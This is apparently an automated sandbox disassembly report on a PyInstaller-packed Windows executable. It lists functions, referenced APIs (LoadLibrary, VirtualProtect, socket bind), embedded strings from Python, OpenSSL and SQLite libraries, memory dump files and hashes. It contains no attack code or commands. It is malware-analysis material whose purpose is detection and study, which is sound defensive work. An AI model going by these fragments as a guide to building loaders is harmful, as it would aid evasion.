NI_NUMERICHOST, xrefs: 00007FFBAA4925C9
IP_ADD_MEMBERSHIP, xrefs: 00007FFBAA492029
SO_USELOOPBACK, xrefs: 00007FFBAA491768
EAI_SOCKTYPE, xrefs: 00007FFBAA49247F
HVSOCKET_CONNECTED_SUSPEND, xrefs: 00007FFBAA491490

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: ConditionMask$00007A082InfoStartupVerifyVersion
String ID: 00000000-0000-0000-0000-000000000000$00:00:00:00:00:00$00:00:00:FF:FF:FF$90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD$A42E7CDA-D03F-480C-9CC2-A4DE20ABB878$AF_APPLETALK$AF_BLUETOOTH$AF_DECnet$AF_HYPERV$AF_INET$AF_INET6$AF_IPX$AF_IRDA$AF_LINK$AF_SNA$AF_UNSPEC$AI_ADDRCONFIG$AI_ALL$AI_CANONNAME$AI_NUMERICHOST$AI_NUMERICSERV$AI_PASSIVE$AI_V4MAPPED$BDADDR_ANY$BDADDR_LOCAL$BTPROTO_RFCOMM$CAPI$E0E16197-DD56-4A10-9195-5EE7A155A838$EAI_AGAIN$EAI_BADFLAGS$EAI_FAIL$EAI_FAMILY$EAI_MEMORY$EAI_NODATA$EAI_NONAME$EAI_SERVICE$EAI_SOCKTYPE$FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF$HVSOCKET_ADDRESS_FLAG_PASSTHRU$HVSOCKET_CONNECTED_SUSPEND$HVSOCKET_CONNECT_TIMEOUT$HVSOCKET_CONNECT_TIMEOUT_MAX$HV_GUID_BROADCAST$HV_GUID_CHILDREN$HV_GUID_LOOPBACK$HV_GUID_PARENT$HV_GUID_WILDCARD$HV_GUID_ZERO$HV_PROTOCOL_RAW$INADDR_ALLHOSTS_GROUP$INADDR_ANY$INADDR_BROADCAST$INADDR_LOOPBACK$INADDR_MAX_LOCAL_GROUP$INADDR_NONE$INADDR_UNSPEC_GROUP$IPPORT_RESERVED$IPPORT_USERRESERVED$IPPROTO_AH$IPPROTO_CBT$IPPROTO_DSTOPTS$IPPROTO_EGP$IPPROTO_ESP$IPPROTO_FRAGMENT$IPPROTO_GGP$IPPROTO_HOPOPTS$IPPROTO_ICLFXBM$IPPROTO_ICMP$IPPROTO_ICMPV6$IPPROTO_IDP$IPPROTO_IGMP$IPPROTO_IGP$IPPROTO_IP$IPPROTO_IPV4$IPPROTO_IPV6$IPPROTO_L2TP$IPPROTO_MAX$IPPROTO_ND$IPPROTO_NONE$IPPROTO_PGM$IPPROTO_PIM$IPPROTO_PUP$IPPROTO_RAW$IPPROTO_RDP$IPPROTO_ROUTING$IPPROTO_SCTP$IPPROTO_ST$IPPROTO_TCP$IPPROTO_UDP$IPV6_CHECKSUM$IPV6_DONTFRAG$IPV6_HOPLIMIT$IPV6_HOPOPTS$IPV6_JOIN_GROUP$IPV6_LEAVE_GROUP$IPV6_MULTICAST_HOPS$IPV6_MULTICAST_IF$IPV6_MULTICAST_LOOP$IPV6_PKTINFO$IPV6_RECVRTHDR$IPV6_RECVTCLASS$IPV6_RTHDR$IPV6_TCLASS$IPV6_UNICAST_HOPS$IPV6_V6ONLY$IP_ADD_MEMBERSHIP$IP_ADD_SOURCE_MEMBERSHIP$IP_BLOCK_SOURCE$IP_DROP_MEMBERSHIP$IP_DROP_SOURCE_MEMBERSHIP$IP_HDRINCL$IP_MULTICAST_IF$IP_MULTICAST_LOOP$IP_MULTICAST_TTL$IP_OPTIONS$IP_PKTINFO$IP_RECVDSTADDR$IP_RECVTOS$IP_TOS$IP_TTL$IP_UNBLOCK_SOURCE$MSG_BCAST$MSG_CTRUNC$MSG_DONTROUTE$MSG_ERRQUEUE$MSG_MCAST$MSG_OOB$MSG_PEEK$MSG_TRUNC$MSG_WAITALL$NI_DGRAM$NI_MAXHOST$NI_MAXSERV$NI_NAMEREQD$NI_NOFQDN$NI_NUMERICHOST$NI_NUMERICSERV$RCVALL_MAX$RCVALL_OFF$RCVALL_ON$RCVALL_SOCKETLEVELONLY$SHUT_RD$SHUT_RDWR$SHUT_WR$SIO_KEEPALIVE_VALS$SIO_LOOPBACK_FAST_PATH$SIO_RCVALL$SOCK_DGRAM$SOCK_RAW$SOCK_RDM$SOCK_SEQPACKET$SOCK_STREAM$SOL_IP$SOL_SOCKET$SOL_TCP$SOL_UDP$SOMAXCONN$SO_ACCEPTCONN$SO_BROADCAST$SO_DEBUG$SO_DONTROUTE$SO_ERROR$SO_EXCLUSIVEADDRUSE$SO_KEEPALIVE$SO_LINGER$SO_OOBINLINE$SO_RCVBUF$SO_RCVLOWAT$SO_RCVTIMEO$SO_REUSEADDR$SO_SNDBUF$SO_SNDLOWAT$SO_SNDTIMEO$SO_TYPE$SO_USELOOPBACK$SocketType$TCP_FASTOPEN$TCP_KEEPCNT$TCP_KEEPIDLE$TCP_KEEPINTVL$TCP_MAXSEG$TCP_NODELAY$_socket.CAPI$error$gaierror$has_ipv6$herror$socket.gaierror$socket.herror$timeout
API String ID: 3409425757-3643889990
Opcode ID: 402a8c535e09a4f8d89ed768b117a8b9010c23cdf2382df9e6d88d85c51fdd0b
Instruction ID: 45e393286e2def3153e33a02d52c4f757555e515654a6cc8226df130892a5d8e
Opcode Fuzzy Hash: 402a8c535e09a4f8d89ed768b117a8b9010c23cdf2382df9e6d88d85c51fdd0b
Instruction Fuzzy Hash: 7EC202A0B0A713C1F6128F36E8C06AD175C9F45F94F8415B9ED0E46261DF6EE26BC361

Function 00007FF72C651000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF72C653EA6
Failed to remove temporary directory: %s, xrefs: 00007FF72C653FCF
bye-runtime-tmpdir, xrefs: 00007FF72C653B68
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF72C653882, 00007FF72C6538AF
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF72C653971
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF72C653C61
Failed to start splash screen!, xrefs: 00007FF72C653ED4
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF72C653E0A
Py_GIL_DISABLED, xrefs: 00007FF72C653AF4
_PYI_ARCHIVE_FILE, xrefs: 00007FF72C6538D2, 00007FF72C6539FF
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF72C653EBB
Failed to convert DLL search path!, xrefs: 00007FF72C653DDC
MEI, xrefs: 00007FF72C653933
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF72C653BE8
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF72C653D12
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF72C653A0B, 00007FF72C653CD4, 00007FF72C653F6B
Could not create temporary directory!, xrefs: 00007FF72C653CBF
Failed to load splash screen resources!, xrefs: 00007FF72C653E85
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF72C6539DE
pyi-contents-directory, xrefs: 00007FF72C653B8D
VCRUNTIME140.dll, xrefs: 00007FF72C653DB1
pyi-disable-windowed-traceback, xrefs: 00007FF72C653BB2
_PYI_SPLASH_IPC, xrefs: 00007FF72C653A23, 00007FF72C653EF5
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF72C653A17, 00007FF72C653A2F, 00007FF72C653A9B
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF72C653B32
pkg, xrefs: 00007FF72C6539BE
pyi-python-flag, xrefs: 00007FF72C653AD6
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF72C653D35

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 233ec7f25ec1ed803ce179537cd482b57a2e4efc6b2dbb8e538fcab84ef42543
Instruction ID: 622d26e9a56d379b62f4068e735e4b703384393e3ae7f8cd4b57c91dcd2d8ece
Opcode Fuzzy Hash: 233ec7f25ec1ed803ce179537cd482b57a2e4efc6b2dbb8e538fcab84ef42543
Instruction Fuzzy Hash: 49329F21A0C68251FA17F7249C552B9A7A3FF64BE0FE84436DB4D426C6DF2CE558CB20

Function 00007FFBA6091A0F Relevance: 23.6, APIs: 5, Strings: 8, Instructions: 858COMMON

Download Yara Rule

Strings

..\s\ssl\record\ssl3_record.c, xrefs: 00007FFBA60DACF8, 00007FFBA60DAEA7, 00007FFBA60DB01D, 00007FFBA60DB06B, 00007FFBA60DB09B, 00007FFBA60DB0C8, 00007FFBA60DB0F5, 00007FFBA60DB1A2, 00007FFBA60DB1EB, 00007FFBA60DB330, 00007FFBA60DB358, 00007FFBA60DB38F, 00007FFBA60DB3C4, 00007FFBA60DB445, 00007FFBA60DB489, 00007FFBA60DB4AB, 00007FFBA60DB74F, 00007FFBA60DB7CE, 00007FFBA60DB7FB, 00007FFBA60DB828, 00007FFBA60DB861, 00007FFBA60DB88E, 00007FFBA60DB97F, 00007FFBA60DB9B9, 00007FFBA60DBA27, 00007FFBA60DBA5D
POST , xrefs: 00007FFBA60DB90B
, xrefs: 00007FFBA60DB187
PUT , xrefs: 00007FFBA60DB943
ssl3_get_record, xrefs: 00007FFBA60DACF1, 00007FFBA60DAEA0, 00007FFBA60DB016, 00007FFBA60DB064, 00007FFBA60DB094, 00007FFBA60DB0BC, 00007FFBA60DB0E9, 00007FFBA60DB196, 00007FFBA60DB1DF, 00007FFBA60DB324, 00007FFBA60DB34C, 00007FFBA60DB3B8, 00007FFBA60DB439, 00007FFBA60DB593, 00007FFBA60DB743, 00007FFBA60DB7C2, 00007FFBA60DB7EF, 00007FFBA60DB821, 00007FFBA60DB855, 00007FFBA60DB887, 00007FFBA60DB973, 00007FFBA60DB9AD, 00007FFBA60DBA20, 00007FFBA60DBA51
HEAD , xrefs: 00007FFBA60DB929
CONNE, xrefs: 00007FFBA60DB95A
GET , xrefs: 00007FFBA60DB8E8

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID:
String ID: $..\s\ssl\record\ssl3_record.c$CONNE$GET $HEAD $POST $PUT $ssl3_get_record
API String ID: 0-2781224710
Opcode ID: bfd61e0b9a574f603b0776d19a675c1a396b8c51785310e0fbd2dcc6b7e53aed
Instruction ID: 72d3d99a3432094acccdd1da89d78c8214b8e2d5f3828977d1f0af4d5972e644
Opcode Fuzzy Hash: bfd61e0b9a574f603b0776d19a675c1a396b8c51785310e0fbd2dcc6b7e53aed
Instruction Fuzzy Hash: AF828DE1E0A682C1FB639B31D4813B92692EF45F88F545635DE8D8B695DF3CE9A1C300

Function 00007FFBA67A92B0 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 513
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA67A937F
00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA67A945E
00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA67A9480
00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA67A963E
00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA67A9667

Strings

immutable, xrefs: 00007FFBA67A97FD
-journal, xrefs: 00007FFBA67A9646
nolock, xrefs: 00007FFBA67A97C5

Memory Dump Source

Source File: 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFBA6790000, based on PE: true

Associated: 00000008.00000002.1952109608.00007FFBA6790000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F1000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F3000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA6908000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952472915.00007FFBA690A000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952519785.00007FFBA690C000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6790000_program.jbxd

Similarity

API ID: 00007B593010
String ID: -journal$immutable$nolock
API String ID: 2201947777-4201244970
Opcode ID: e71367e4caff7898d8f729e26418474fc89d99c24193eae94bfbfe729bf6114b
Instruction ID: ce75fc9be9f04938f4a923a17eb48d9ab8db264b8cc57d47b338fd143d9714f0
Opcode Fuzzy Hash: e71367e4caff7898d8f729e26418474fc89d99c24193eae94bfbfe729bf6114b
Instruction Fuzzy Hash: 6C32BBE2A2A68286EB268F35D46037926A6FF54F94F084235CE6E477D4DF3CE465C340

Function 00007FF72C676964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72C676698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6766D9
Part of subcall function 00007FF72C676698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C676757
Part of subcall function 00007FF72C676698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6767A8

CreateFileW.KERNEL32 ref: 00007FF72C676A6A
CreateFileW.KERNEL32 ref: 00007FF72C676ABA
GetLastError.KERNEL32 ref: 00007FF72C676AEA
GetFileType.KERNEL32 ref: 00007FF72C676AFF
GetLastError.KERNEL32 ref: 00007FF72C676B09
CloseHandle.KERNEL32 ref: 00007FF72C676B3C
CloseHandle.KERNEL32 ref: 00007FF72C676C9F
CreateFileW.KERNEL32 ref: 00007FF72C676CD4
GetLastError.KERNEL32 ref: 00007FF72C676CE3

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: c9a6c08779169ed6fbac53a333c9f426242b0e566be1c14cde0df1f5ee08c69c
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 69C10133B28A4285EB11EF64C8812AC7772FB99BA8F910639DE1E57794CF38D015CB10

Function 00007FFBA6814C70 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 370COMMON

Download Yara Rule

APIs

00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA6814EFD
00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA6814FAE

Strings

statement too long, xrefs: 00007FFBA6814EB3
out of memory, xrefs: 00007FFBA6814D5F
database schema is locked: %s, xrefs: 00007FFBA6814E56

Memory Dump Source

Source File: 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFBA6790000, based on PE: true

Associated: 00000008.00000002.1952109608.00007FFBA6790000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F1000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F3000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA6908000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952472915.00007FFBA690A000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952519785.00007FFBA690C000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6790000_program.jbxd

Similarity

API ID: 00007B593010
String ID: database schema is locked: %s$out of memory$statement too long
API String ID: 2201947777-1046679716
Opcode ID: 7f23d50979c88e00e17b4a476aebd8052426b92c118e75aeb5a3e9824675a78a
Instruction ID: cca1cbd64ca5563cd9fcccbe9bbb653364e342cc630f1588832afc5e7e73e5f0
Opcode Fuzzy Hash: 7f23d50979c88e00e17b4a476aebd8052426b92c118e75aeb5a3e9824675a78a
Instruction Fuzzy Hash: 66F18DE2A0A68286EB66CF31D4107BA67AAFB85F98F084177DE4D07795DF7CE5408340

Function 00007FFBAA4A71D0 Relevance: 6.9, APIs: 4, Instructions: 889librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFBAA4A7CE5
GetProcAddress.KERNEL32 ref: 00007FFBAA4A7D0F
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFBAA4A7D8F
VirtualProtect.KERNEL32 ref: 00007FFBAA4A7DAD

Memory Dump Source

Source File: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 05417be8f1839d801782f9c781979d9678e7c982b20de61a62ff485c284467e9
Instruction ID: 0f42d6d80485d7b6fbc43b351bd6952dfa6df33c6b14883ac2b59153edbb9100
Opcode Fuzzy Hash: 05417be8f1839d801782f9c781979d9678e7c982b20de61a62ff485c284467e9
Instruction Fuzzy Hash: 996235B2629196C6E72A8E39D4002BD76A4F748785F045532FE9EC37C4EA7CEA46C710

Function 00007FFBA43E1F40 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFBA43E2A55
GetProcAddress.KERNEL32 ref: 00007FFBA43E2A73
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFBA43E2AF3
VirtualProtect.KERNEL32 ref: 00007FFBA43E2B11

Memory Dump Source

Source File: 00000008.00000002.1950013415.00007FFBA43E1000.00000080.00000001.01000000.00000018.sdmp, Offset: 00007FFBA43D0000, based on PE: true

Associated: 00000008.00000002.1949827954.00007FFBA43D0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43D1000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43DD000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43E0000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950056718.00007FFBA43E3000.00000004.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba43d0000_program.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 78706b716399f285c8c84bf0c82d6c966be19b62f32ef2710452d50c9fcab11e
Instruction ID: 781b2b0039b25904322650a8100a91240965d83e8975d33540ed3278c1c6e251
Opcode Fuzzy Hash: 78706b716399f285c8c84bf0c82d6c966be19b62f32ef2710452d50c9fcab11e
Instruction Fuzzy Hash: 036248A262A996C6E7168F38D68137D76D0F748385F049531EE9EC37D4EA3CEA45C700

Function 00007FFBA4220350 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFBA4220E65
GetProcAddress.KERNEL32 ref: 00007FFBA4220E83
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFBA4220F03
VirtualProtect.KERNEL32 ref: 00007FFBA4220F21

Memory Dump Source

Source File: 00000008.00000002.1949749489.00007FFBA4220000.00000080.00000001.01000000.0000001A.sdmp, Offset: 00007FFBA4170000, based on PE: true

Associated: 00000008.00000002.1949454231.00007FFBA4170000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA4171000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA41BA000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA41C8000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA4217000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA421C000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA421F000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949783531.00007FFBA4222000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba4170000_program.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 6f314cbc243d0361b81c21546ac629a958ec6804df8a06217d551e75d8bff2aa
Instruction ID: 3ef9a4119493f3a9deb14fae3bc6a968633ac4c185ca2253c089d0b7189f7bc4
Opcode Fuzzy Hash: 6f314cbc243d0361b81c21546ac629a958ec6804df8a06217d551e75d8bff2aa
Instruction Fuzzy Hash: 536226A262929286E7569F38D4803BD7690FB48785F045531EF9EC37D8EB3DEA45C700

Function 00007FFBAA4953DC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47networkCOMMON

Download Yara Rule

APIs

bind.WS2_32 ref: 00007FFBAA49545D

Strings

bind, xrefs: 00007FFBAA4953FB
socket.bind, xrefs: 00007FFBAA49542D

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: bind
String ID: bind$socket.bind
API String ID: 1187836755-187351271
Opcode ID: 4ce2c3a6d91a333172a2df15937caee8bf14d916a7314e4ad852e3007f95126b
Instruction ID: b5d34503a7ef505f6fdf06f95cd464f27f9198677361a8eaa1232b8878993bc4
Opcode Fuzzy Hash: 4ce2c3a6d91a333172a2df15937caee8bf14d916a7314e4ad852e3007f95126b
Instruction Fuzzy Hash: 44111FA160AB82C2F6619B72F4C03AE6368FB48B85F500176EE8D47B55DF2CE4168760

Function 00007FFBA67B2250 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 586COMMON

Download Yara Rule

APIs

00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA67B2403

Strings

:memory:, xrefs: 00007FFBA67B22BD

Memory Dump Source

Source File: 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFBA6790000, based on PE: true

Associated: 00000008.00000002.1952109608.00007FFBA6790000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F1000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F3000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA6908000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952472915.00007FFBA690A000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952519785.00007FFBA690C000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6790000_program.jbxd

Similarity

API ID: 00007B593010
String ID: :memory:
API String ID: 2201947777-2920599690
Opcode ID: 5d158ba6bdcfd1d67072cc4d23b95b7b5ae2ced07bbb9c01723f0e9ed9192fff
Instruction ID: c8f843ef5a73fec094caad790b2fece6fa97a529507ae3e412c90ee11e6d7360
Opcode Fuzzy Hash: 5d158ba6bdcfd1d67072cc4d23b95b7b5ae2ced07bbb9c01723f0e9ed9192fff
Instruction Fuzzy Hash: 9D428DE2A1B78282EB668B35E46437927A6FF89F84F044135CE5E43794DF3DE8958340

Function 00007FF72C659280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF72C6592B3
FindClose.KERNEL32 ref: 00007FF72C6592C2

Memory Dump Source

